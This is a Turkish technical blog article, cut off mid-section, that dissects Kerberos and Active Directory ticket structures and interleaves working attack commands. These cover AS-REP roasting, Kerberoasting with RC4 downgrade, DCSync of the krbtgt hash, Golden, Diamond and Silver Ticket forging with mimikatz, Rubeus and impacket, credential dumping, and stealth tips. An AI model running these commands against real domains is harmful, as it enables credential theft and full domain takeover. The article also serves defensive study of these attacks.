&lt;p&gt;Kerberos v1–v4 arasındaki versiyonlar MIT içinde kullanıldı. 1993&#39;te Neuman ve Ts&#39;o, &amp;quot;Kerberos: An Authentication Service for Computer Networks&amp;quot; makalesini yayımladı. RFC 1510 (1993) ile ilk IETF standardizasyonu gerçekleşti; ardından RFC 4120 (2005) bu standardı kökten gözden geçirdi ve bugün hâlâ kullandığımız Kerberos 5 standardı oldu.&lt;/p&gt;
&lt;p&gt;Microsoft, Windows 2000 ile birlikte Kerberos&#39;u NTLM&#39;in yerine varsayılan ağ kimlik doğrulama protokolü olarak benimsedi. Ancak MS-KILE (Microsoft Kerberos Protocol Extension) adıyla kendi uzantılarını da ekledi: PAC (Privilege Attribute Certificate), constrained delegation, resource-based constrained delegation gibi mekanizmalar RFC 4120&#39;de yoktur, Microsoft&#39;a özgüdür.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/kerberos-internals-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 1: Kerberos Bileşenleri ve Terminoloji&lt;/h2&gt;
&lt;p&gt;Kerberos protokolünü anlamak için önce temel bileşenleri netleştirmek gerekiyor.&lt;/p&gt;
&lt;h3&gt;1.1 KDC — Key Distribution Center&lt;/h3&gt;
&lt;p&gt;KDC, Kerberos&#39;un kalbidir ve iki mantıksal servisi barındırır:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AS (Authentication Service):&lt;/strong&gt; Kullanıcının kimliğini doğrular ve TGT (Ticket Granting Ticket) verir. Kullanıcının uzun vadeli anahtarını (NTLM hash veya AES hash) doğrulama için kullanır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TGS (Ticket Granting Service):&lt;/strong&gt; Kullanıcının TGT&#39;sini alır, doğrular ve istenen servise yönelik Service Ticket (ST) düzenler. TGS, kullanıcının şifresini bilmez; yalnızca TGT&#39;nin geçerliliğini doğrular.&lt;/p&gt;
&lt;p&gt;Active Directory ortamında KDC rolü, her Domain Controller üzerinde çalışır. &lt;code&gt;krbtgt&lt;/code&gt; hesabı, tüm TGT&#39;leri şifrelemek için kullanılan özel bir servis hesabıdır.&lt;/p&gt;
&lt;h3&gt;1.2 Principal&lt;/h3&gt;
&lt;p&gt;Principal, Kerberos&#39;taki kimlik tanımlayıcısıdır. İki türü vardır:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kullanıcı principal:&lt;/strong&gt; &lt;code&gt;user01@CORP.LOCAL&lt;/code&gt; formatında. Büyük harfli kısım realm&#39;dir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Servis principal:&lt;/strong&gt; &lt;code&gt;http/webserver.corp.local@CORP.LOCAL&lt;/code&gt; formatında. SPN (Service Principal Name) olarak da bilinir. Active Directory&#39;de &lt;code&gt;servicePrincipalName&lt;/code&gt; attribute&#39;una yazılır.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.3 Realm&lt;/h3&gt;
&lt;p&gt;Realm, Kerberos güven sınırını tanımlar. Geleneksel olarak büyük harfle yazılır ve genellikle DNS domain adıyla eşleşir: &lt;code&gt;CORP.LOCAL&lt;/code&gt;. Cross-realm trust, iki realm arasında bilet kullanımına izin verir.&lt;/p&gt;
&lt;h3&gt;1.4 TGT vs Service Ticket&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;TGT (Ticket Granting Ticket):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;krbtgt/CORP.LOCAL&lt;/code&gt; servisi için düzenlenmiş özel bir bilet&lt;/li&gt;
&lt;li&gt;KDC&#39;ye erişmek için kullanılır&lt;/li&gt;
&lt;li&gt;Varsayılan ömrü 10 saat (renewable: 7 gün)&lt;/li&gt;
&lt;li&gt;Yalnızca KDC okuyabilir (&lt;code&gt;krbtgt&lt;/code&gt; hash&#39;i ile şifrelenmiş)&lt;/li&gt;
&lt;li&gt;LSASS&#39;ta saklanır (Windows) veya &lt;code&gt;ccache&lt;/code&gt; dosyasında (Linux)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Service Ticket (ST / TGS):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Belirli bir SPN için düzenlenmiş bilet&lt;/li&gt;
&lt;li&gt;Servisin uzun vadeli anahtarıyla şifrelenmiş&lt;/li&gt;
&lt;li&gt;Varsayılan ömrü 10 saat&lt;/li&gt;
&lt;li&gt;Servis, KDC&#39;ye sormadan doğrulayabilir (bu Silver Ticket&#39;ı mümkün kılar)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 2: AS Değişimi — Authentication Service Exchange&lt;/h2&gt;
&lt;p&gt;Kerberos oturumu, kullanıcı adını bile göndermeden önce başlar.&lt;/p&gt;
&lt;h3&gt;2.1 AS-REQ (KDC-REQ, msg-type 10)&lt;/h3&gt;
&lt;p&gt;AS-REQ, RFC 4120 §5.4.1&#39;de tanımlı &lt;code&gt;KDC-REQ&lt;/code&gt; yapısıdır:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asn1&quot;&gt;KDC-REQ ::= SEQUENCE {
    pvno           [1] INTEGER (5),
    msg-type       [2] INTEGER (10 -- AS-REQ, 12 -- TGS-REQ),
    padata         [3] SEQUENCE OF PA-DATA OPTIONAL,
    req-body       [4] KDC-REQ-BODY
}

KDC-REQ-BODY ::= SEQUENCE {
    kdc-options    [0] KDCOptions,
    cname          [1] PrincipalName OPTIONAL,
    realm          [2] Realm,
    sname          [3] PrincipalName OPTIONAL,
    from           [4] KerberosTime OPTIONAL,
    till           [5] KerberosTime,
    rtime          [6] KerberosTime OPTIONAL,
    nonce          [7] UInt32,
    etype          [8] SEQUENCE OF Int32,
    addresses      [9] HostAddresses OPTIONAL,
    enc-authorization-data [10] EncryptedData OPTIONAL,
    additional-tickets     [11] SEQUENCE OF Ticket OPTIONAL
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kritik alanlar:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cname&lt;/code&gt;: İstemcinin principal adı (kullanıcı adı)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sname&lt;/code&gt;: İstenen servis; AS-REQ&#39;da bu her zaman &lt;code&gt;krbtgt/REALM&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;etype&lt;/code&gt;: İstemcinin desteklediği şifreleme türleri (tercih sırasına göre)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nonce&lt;/code&gt;: Replay saldırılarını önlemek için rastgele 32-bit değer&lt;/li&gt;
&lt;li&gt;&lt;code&gt;padata&lt;/code&gt;: Pre-authentication data (önceki kimlik doğrulama verileri)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 PA-DATA: Pre-Authentication&lt;/h3&gt;
&lt;p&gt;Pre-authentication, replay saldırılarını ve offline brute-force&#39;u önlemek için RFC 4120&#39;ye eklendi (başlangıçta zorunlu değildi). En yaygın PA-DATA türleri:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PA-ENC-TIMESTAMP (type 2):&lt;/strong&gt;&lt;br /&gt;
Kullanıcının uzun vadeli anahtarıyla şifrelenmiş zaman damgası. KDC bu şifreyi çözerek hem kullanıcının kimliğini doğrular hem de timestamp&#39;in 5 dakika içinde olduğunu kontrol eder (replay koruması).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PA-ENC-TS-ENC ::= SEQUENCE {
    patimestamp [0] KerberosTime,
    pausec      [1] Microseconds OPTIONAL
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;PA-ETYPE-INFO2 (type 19):&lt;/strong&gt;&lt;br /&gt;
KDC&#39;nin desteklediği şifreleme türlerini ve salt değerini bildirir. İstemci bu bilgiyle anahtarını türetir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PA-PAC-REQUEST (type 128, MS-KILE):&lt;/strong&gt;&lt;br /&gt;
İstemcinin PAC isteyip istemediğini bildirir. &lt;code&gt;include-pac: TRUE&lt;/code&gt; gönderilirse KDC TGT&#39;ye PAC ekler.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PA-FOR-USER (type 129, S4U2Self):&lt;/strong&gt;&lt;br /&gt;
Servis hesabının başka bir kullanıcı adına TGS almasını sağlar.&lt;/p&gt;
&lt;h3&gt;2.3 AS-REP Roasting: DONT_REQUIRE_PREAUTH&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;userAccountControl&lt;/code&gt; attribute&#39;unda &lt;code&gt;DONT_REQUIRE_PREAUTH&lt;/code&gt; (0x400000) flag&#39;i set edilmiş kullanıcılar için KDC, PA-ENC-TIMESTAMP olmadan bile AS-REP döndürür.&lt;/p&gt;
&lt;p&gt;AS-REP yapısı:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asn1&quot;&gt;AS-REP ::= [APPLICATION 11] KDC-REP

KDC-REP ::= SEQUENCE {
    pvno      [0] INTEGER (5),
    msg-type  [1] INTEGER (11 -- AS-REP, 13 -- TGS-REP),
    padata    [2] SEQUENCE OF PA-DATA OPTIONAL,
    crealm    [3] Realm,
    cname     [4] PrincipalName,
    ticket    [5] Ticket,
    enc-part  [6] EncryptedData  -- EncASRepPart
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;enc-part&lt;/code&gt; (EncASRepPart), kullanıcının uzun vadeli anahtarıyla şifrelenmiştir ve session key&#39;i içerir. Pre-auth yoksa bu alan hiçbir kimlik doğrulaması olmadan alınabilir ve offline kırılabilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# impacket ile AS-REP Roasting
GetNPUsers.py CORP.LOCAL/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# Çıktı formatı: $krb5asrep$23$user@CORP.LOCAL:...
hashcat -m 18200 asrep.hash wordlist.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 3: TGT İç Yapısı — Byte Seviyesinde Analiz&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/kerberos-ticket-structure.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;TGT, RFC 4120 §5.3&#39;te tanımlı &lt;code&gt;Ticket&lt;/code&gt; yapısında taşınır:&lt;/p&gt;
&lt;h3&gt;3.1 Ticket ASN.1 Yapısı&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-asn1&quot;&gt;Ticket ::= [APPLICATION 1] SEQUENCE {
    tkt-vno  [0] INTEGER (5),
    realm    [1] Realm,
    sname    [2] PrincipalName,
    enc-part [3] EncryptedData  -- EncTicketPart
}

EncTicketPart ::= [APPLICATION 3] SEQUENCE {
    flags            [0] TicketFlags,
    key              [1] EncryptionKey,
    crealm           [2] Realm,
    cname            [3] PrincipalName,
    transited        [4] TransitedEncoding,
    authtime         [5] KerberosTime,
    starttime        [6] KerberosTime OPTIONAL,
    endtime          [7] KerberosTime,
    renew-till       [8] KerberosTime OPTIONAL,
    caddr            [9] HostAddresses OPTIONAL,
    authorization-data [10] AuthorizationData OPTIONAL
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 Alan-Alan Güvenlik Analizi&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;tkt-vno (5):&lt;/strong&gt; Protokol versiyonu. Sabit 5. Sahte biletlerde de 5 olmalı.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;realm (CORP.LOCAL):&lt;/strong&gt; İhraç eden KDC&#39;nin realm&#39;i. Cross-realm saldırılarda farklı realm&#39;den ihraç edilmiş biletler burada görünür.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sname (krbtgt/CORP.LOCAL):&lt;/strong&gt; TGT her zaman &lt;code&gt;krbtgt&lt;/code&gt; servisi içindir. Silver Ticket&#39;ta bu alan hedef servisin SPN&#39;ine göre değişir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;enc-part:&lt;/strong&gt; Bu alanın EncryptionType değeri kritiktir. &lt;code&gt;etype: 17&lt;/code&gt; (AES-128) veya &lt;code&gt;etype: 18&lt;/code&gt; (AES-256) görmek normaldir. &lt;code&gt;etype: 23&lt;/code&gt; (RC4-HMAC) görmek — özellikle AES destekleyen bir ortamda — ya eski bir istemci ya da bir saldırı göstergesidir.&lt;/p&gt;
&lt;h3&gt;3.3 EncTicketPart: Biletin Kalbi&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;flags (KDC tarafından set edilir):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TicketFlags ::= KerberosFlags
-- forwardable       (0) = 0x40000000
-- forwarded         (1) = 0x20000000
-- proxiable         (2) = 0x10000000
-- proxy             (3) = 0x08000000
-- may-postdate      (4) = 0x04000000
-- postdated         (5) = 0x02000000
-- invalid           (6) = 0x01000000
-- renewable         (7) = 0x00800000
-- initial           (8) = 0x00400000
-- pre-authent       (9) = 0x00200000
-- hw-authent       (10) = 0x00100000
-- ok-as-delegate   (11) = 0x00040000  -- unconstrained delegation
-- name-canonicalize(15) = 0x00010000  -- MS-KILE extension
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;FORWARDABLE&lt;/code&gt;:&lt;/strong&gt; Bilet başka bir bilgisayara iletilebilir. Unconstrained delegation saldırılarında zorunludur. Golden Ticket oluştururken bu flag set edilmelidir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;OK-AS-DELEGATE&lt;/code&gt;:&lt;/strong&gt; Bu flag, servis hesabının unconstrained delegation için güvenilir olduğunu gösterir. Bir saldırgan &lt;code&gt;OK-AS-DELEGATE&lt;/code&gt; flag&#39;i set edilmiş bir servise bağlandığında, o servis kullanıcının TGT&#39;sini kopyalayabilir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;RENEWABLE&lt;/code&gt;:&lt;/strong&gt; Kullanıcı domain controller&#39;a tekrar gitmeden biletini yenileyebilir. Uzun süreli persistence için önemli.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;PRE-AUTHENT&lt;/code&gt;:&lt;/strong&gt; Bu bilet, pre-authentication kullanılarak elde edilmiştir. Güvenilir kimlik doğrulama göstergesi.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;key (Session Key):&lt;/strong&gt;&lt;br /&gt;
Bu, AS değişimi sırasında istemci ile KDC arasında müzakere edilen oturum anahtarıdır. İstemci, TGS-REQ&#39;daki Authenticator&#39;ı bu anahtarla şifreler. Session key, AS-REP&#39;in enc-part&#39;ında da bulunur (kullanıcının uzun vadeli anahtarıyla şifrelenmiş olarak).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;authtime:&lt;/strong&gt; Kullanıcının ilk kimlik doğrulama zamanı. Diamond Ticket, gerçek bir TGT alıp bu alanı değiştirmeden kullandığı için tespiti zorlaştırır. Golden Ticket&#39;ta bu alan sahte olabilir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;endtime:&lt;/strong&gt; Bilet geçerlilik süresi. Golden Ticket saldırılarında genellikle 10 yıl (87600 saat) olarak set edilir — bu anormal bir değerdir ve tespit için kullanılabilir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;authorization-data:&lt;/strong&gt; PAC (Privilege Attribute Certificate), bu alanda taşınır. Aşağıda detaylı inceliyoruz.&lt;/p&gt;
&lt;h3&gt;3.4 Golden Ticket: Şifreleme Perspektifi&lt;/h3&gt;
&lt;p&gt;Golden Ticket saldırısı şu prensibi istismar eder: &lt;code&gt;enc-part&lt;/code&gt;, &lt;code&gt;krbtgt&lt;/code&gt; hesabının uzun vadeli anahtarıyla şifrelenmiştir. KDC, TGT&#39;yi doğrularken yalnızca şifrelemeyi çözer ve içeriğin mantıklı olduğunu kontrol eder. Hangi Domain Controller&#39;ın ihraç ettiğini doğrulayamaz, zira KDC bu bilgiyi tutmaz.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Adım 1: krbtgt hash&#39;i al (DCSync)
mimikatz # lsadump::dcsync /user:krbtgt /domain:corp.local

# Çıktı:
# Hash NTLM: aabbccdd11223344...
# Hash SHA1: eeff001122334455...
# AES256: 0011223344556677...

# Adım 2: Golden Ticket oluştur
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local &#92;
  /sid:S-1-5-21-3623811015-3361044348-30300820 &#92;
  /krbtgt:aabbccdd11223344... &#92;
  /id:500 &#92;
  /groups:512,519,520,513,518 &#92;
  /sids:S-1-5-21-3623811015-3361044348-30300820-519 &#92;
  /ptt

# AES-256 ile (daha stealthy — RC4 uyarısı üretmez)
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local &#92;
  /sid:S-1-5-21-... /aes256:0011223344... /ptt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Golden Ticket&#39;ın kritik özelliği: KDC hiçbir zaman &amp;quot;bu TGT&#39;yi ben mi oluşturdum?&amp;quot; diye sormaz. Yalnızca &amp;quot;krbtgt anahtarımla çözülebiliyor mu ve içeriği geçerli mi?&amp;quot; sorusunu sorar.&lt;/p&gt;
&lt;h3&gt;3.5 Diamond Ticket: Daha Gizli Alternatif&lt;/h3&gt;
&lt;p&gt;Diamond Ticket, Golden Ticket&#39;ın tespite karşı geliştirilmiş versiyonudur. Fark şurada:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Golden Ticket:&lt;/strong&gt; Tamamen sahte bir TGT. Gerçek bir DC&#39;nin üretmediği &lt;code&gt;authtime&lt;/code&gt;, sahte &lt;code&gt;cname&lt;/code&gt;, sahte timestamps içerebilir. Bazı honeypot/canary sistemleri bunu tespit edebilir.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Diamond Ticket:&lt;/strong&gt; Gerçek bir TGT alınır (gerçek &lt;code&gt;authtime&lt;/code&gt;, gerçek &lt;code&gt;cname&lt;/code&gt;, gerçek session key ile). Sonra bu TGT&#39;nin &lt;code&gt;enc-part&lt;/code&gt;&#39;ı decrypt edilir, &lt;code&gt;ExtraSids&lt;/code&gt; alanına Domain Admins/Enterprise Admins SID&#39;i eklenir ve yeniden şifrelenir. Sonuç: KDC&#39;nin gerçekten ürettiği bir TGT&#39;nin modifiye edilmiş versiyonu.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Rubeus ile Diamond Ticket
Rubeus.exe diamond /krbkey:0011223344556677... /user:USER01 &#92;
  /password:Password1! /enctype:aes256 &#92;
  /sids:S-1-5-21-...-519 /domain:corp.local /dc:DC01.corp.local /ptt

# Impacket ile
ticketer.py -request -domain corp.local -domain-sid S-1-5-21-... &#92;
  -aesKey 0011223344... -extra-sid S-1-5-21-...-519 USER01
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 4: TGS Değişimi — Ticket Granting Service Exchange&lt;/h2&gt;
&lt;h3&gt;4.1 TGS-REQ (msg-type 12)&lt;/h3&gt;
&lt;p&gt;TGT alındıktan sonra kullanıcı, bir servise erişmek için TGS&#39;ye başvurur:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asn1&quot;&gt;-- TGS-REQ padata&#39;sı:
PA-TGS-REQ ::= AP-REQ  -- TGT + Authenticator

AP-REQ ::= [APPLICATION 14] SEQUENCE {
    pvno     [0] INTEGER (5),
    msg-type [1] INTEGER (14),
    ap-options [2] APOptions,
    ticket   [3] Ticket,         -- TGT
    authenticator [4] EncryptedData  -- session key ile şifrelenmiş
}

Authenticator ::= [APPLICATION 2] SEQUENCE {
    authenticator-vno [0] INTEGER (5),
    crealm            [1] Realm,
    cname             [2] PrincipalName,
    cksum             [3] Checksum OPTIONAL,
    cusec             [4] Microseconds,
    ctime             [5] KerberosTime,
    subkey            [6] EncryptionKey OPTIONAL,
    seq-number        [7] UInt32 OPTIONAL,
    authorization-data [8] AuthorizationData OPTIONAL
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Authenticator&#39;ın güvenlik rolü:&lt;/strong&gt; Replay saldırılarını önlemek için her Authenticator benzersiz bir timestamp içerir. KDC, son 5 dakikadaki kullanılan Authenticator&#39;ları bir replay cache&#39;de tutar. Aynı Authenticator ikinci kez gönderilirse KRB_AP_ERR_REPEAT hatası döndürülür.&lt;/p&gt;
&lt;h3&gt;4.2 TGS-REP (msg-type 13)&lt;/h3&gt;
&lt;p&gt;TGS-REP iki şifreli alan içerir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-asn1&quot;&gt;TGS-REP ::= [APPLICATION 13] KDC-REP

-- enc-part: session key ile şifrelenmiş (EncTGSRepPart)
EncTGSRepPart ::= [APPLICATION 26] SEQUENCE {
    key            [0] EncryptionKey,  -- yeni session key (client↔service)
    last-req       [1] LastReq,
    nonce          [2] UInt32,
    key-expiration [3] KerberosTime OPTIONAL,
    flags          [4] TicketFlags,
    authtime       [5] KerberosTime,
    starttime      [6] KerberosTime OPTIONAL,
    endtime        [7] KerberosTime,
    renew-till     [8] KerberosTime OPTIONAL,
    srealm         [9] Realm,
    sname          [10] PrincipalName,
    caddr          [11] HostAddresses OPTIONAL
}

-- ticket: servis hash&#39;i ile şifrelenmiş (EncTicketPart)
-- İstemci bu alanı okuyamaz, servise olduğu gibi gönderir
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 Kerberoasting: Servis Hash&#39;ini Çevrimdışı Kırmak&lt;/h3&gt;
&lt;p&gt;TGS-REP&#39;teki &lt;code&gt;ticket&lt;/code&gt; alanı, servis hesabının uzun vadeli anahtarıyla şifrelenmiştir. İstemci bu alanın içeriğini okumaz; servise doğrudan iletir. Ancak bir saldırgan bu şifreli bloğu alıp çevrimdışı kırmayı deneyebilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# İmpacket ile Kerberoast
GetUserSPNs.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -request

# Çıktı: $krb5tgs$23$*SvcAccount$CORP.LOCAL$...
# hashcat ile kırma
hashcat -m 13100 kerberoast.hash /wordlists/rockyou.txt --rules=best64.rule

# AES TGS (daha zor kırılır) — hashcat mode 19600/19700
hashcat -m 19600 aes128.hash wordlist.txt
hashcat -m 19700 aes256.hash wordlist.txt

# Rubeus ile
Rubeus.exe kerberoast /nowrap /format:hashcat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;RC4 Downgrade — Neden Hâlâ RC4?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Modern ortamlarda servis hesapları AES kullanabilir. Ancak saldırgan, TGS-REQ&#39;daki &lt;code&gt;etype&lt;/code&gt; alanında yalnızca RC4 (0x17) belirtirse, KDC servise RC4 ile şifreli TGS verebilir — eğer servis hesabının &lt;code&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; değeri RC4&#39;e izin veriyorsa.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# RC4 zorla
Rubeus.exe kerberoast /rc4opsec /nowrap
# veya
GetUserSPNs.py CORP.LOCAL/user01:Password1! -request -etype RC4
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.4 Silver Ticket: KDC&#39;ye Hiç Gitmeden&lt;/h3&gt;
&lt;p&gt;Silver Ticket, TGS-REP&#39;teki &lt;code&gt;ticket&lt;/code&gt; alanını — servis hash&#39;i ile — kendimiz oluşturmamıza dayanır. Böylece KDC&#39;ye hiç bağlanmadan servise giriş yapabiliriz. Bu hem daha sessizdir (KDC logları yok) hem de etki alanı bağlantısı gerektirmez.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Servis hash&#39;ini al (önceki Kerberoast veya local dump)
mimikatz # sekurlsa::logonpasswords
# veya: lsadump::lsa /patch

# Silver Ticket oluştur
mimikatz # kerberos::golden /user:FakeUser &#92;
  /domain:corp.local &#92;
  /sid:S-1-5-21-3623811015-3361044348-30300820 &#92;
  /target:webserver.corp.local &#92;
  /service:http &#92;
  /rc4:aabbccdd... &#92;
  /ptt

# Rubeus ile
Rubeus.exe silver /service:http/webserver.corp.local &#92;
  /rc4:aabbccdd... /user:FakeUser /domain:corp.local /ptt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Silver Ticket, yalnızca o servis için geçerlidir ve PAC&#39;ı KDC&#39;ye doğrulatmayan servisler için çalışır. Çoğu servis (IIS, MSSQL, SMB) PAC doğrulama yapmaz.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Bölüm 5: PAC — Privilege Attribute Certificate&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/kerberos-pac-structure.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;PAC, Microsoft&#39;un RFC 4120&#39;ye eklediği en kritik uzantıdır. Kerberos biletlerinin içinde taşınan ve Windows yetkilendirme kararlarını yönlendiren yapıdır.&lt;/p&gt;
&lt;h3&gt;5.1 PAC&#39;ın Konumu&lt;/h3&gt;
&lt;p&gt;PAC, her Kerberos biletinin &lt;code&gt;authorization-data&lt;/code&gt; alanında bulunur. Sarma yapısı şöyledir:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AuthorizationData ::= SEQUENCE OF SEQUENCE {
    ad-type  [0] Int32,
    ad-data  [1] OCTET STRING
}

-- ad-type: 1  → AD-IF-RELEVANT
-- İçinde: ad-type: 128 → AD-WIN2K-PAC
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.2 PACTYPE Yapısı&lt;/h3&gt;
&lt;p&gt;MS-PAC spesifikasyonuna göre PAC, aşağıdaki üst düzey yapıya sahiptir:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PACTYPE {
    cBuffers: ULONG,         // Buffer sayısı
    Version: ULONG (0),      // Her zaman 0
    Buffers[]: PAC_INFO_BUFFER
}

PAC_INFO_BUFFER {
    ulType:  ULONG,          // Buffer türü
    cbBufferSize: ULONG,     // Buffer boyutu
    Offset: ULONG64          // PAC başından offset
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.3 PAC_LOGON_INFO (ulType: 0x00000001) — En Kritik Buffer&lt;/h3&gt;
&lt;p&gt;Bu buffer, &lt;code&gt;KERB_VALIDATION_INFO&lt;/code&gt; (MS-PAC §2.5) yapısını içerir ve NDR (Network Data Representation) ile encode edilmiştir. Windows&#39;un kullanıcı yetkilerini belirlemek için kullandığı tüm veriler burada bulunur.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;KERB_VALIDATION_INFO {
    LogonTime:              FILETIME
    LogoffTime:             FILETIME
    KickOffTime:            FILETIME
    PasswordLastSet:        FILETIME
    PasswordCanChange:      FILETIME
    PasswordMustChange:     FILETIME
    EffectiveName:          RPC_UNICODE_STRING  // username
    FullName:               RPC_UNICODE_STRING
    LogonScript:            RPC_UNICODE_STRING
    ProfilePath:            RPC_UNICODE_STRING
    HomeDirectory:          RPC_UNICODE_STRING
    HomeDirectoryDrive:     RPC_UNICODE_STRING
    LogonCount:             USHORT
    BadPasswordCount:       USHORT
    UserId:                 ULONG  // RID (e.g., 1105)
    PrimaryGroupId:         ULONG  // e.g., 513 = Domain Users
    GroupCount:             ULONG
    GroupIds[]:             GROUP_MEMBERSHIP[]  // Group RID listesi
    UserFlags:              ULONG
    UserSessionKey:         USER_SESSION_KEY
    LogonServer:            RPC_UNICODE_STRING
    LogonDomainName:        RPC_UNICODE_STRING
    LogonDomainId:          PRPC_SID  // Domain SID
    Reserved1[2]:           ULONG
    UserAccountControl:     ULONG
    SubAuthStatus:          ULONG
    LastSuccessfulILogon:   FILETIME
    LastFailedILogon:       FILETIME
    FailedILogonCount:      ULONG
    Reserved3:              ULONG
    SidCount:               ULONG
    ExtraSids[]:            KERB_SID_AND_ATTRIBUTES[]  // ← SALDIRI NOKTASI
    ResourceGroupDomainSid: PRPC_SID
    ResourceGroupCount:     ULONG
    ResourceGroupIds[]:     GROUP_MEMBERSHIP[]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;ExtraSids — Golden Ticket&#39;ın Kalbi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ExtraSids&lt;/code&gt; alanı, kullanıcının üye olduğu ek SID&#39;leri içerir. Normalde bu alan, cross-realm SID history gibi durumlar için kullanılır. Golden Ticket saldırısında ise bu alana Domain Admins (512) veya Enterprise Admins (519) SID&#39;i eklenir:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ExtraSids[0] = S-1-5-21-3623811015-3361044348-30300820-512  // Domain Admins
ExtraSids[1] = S-1-5-21-3623811015-3361044348-30300820-519  // Enterprise Admins
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Servis bu SID&#39;leri PAC&#39;tan okur ve kullanıcıya Domain Admin yetkisi verir — Active Directory&#39;de gerçek bir grup üyeliği olmasa bile.&lt;/p&gt;
&lt;h3&gt;5.4 PAC_CLIENT_INFO (ulType: 0x0000000A)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PAC_CLIENT_INFO {
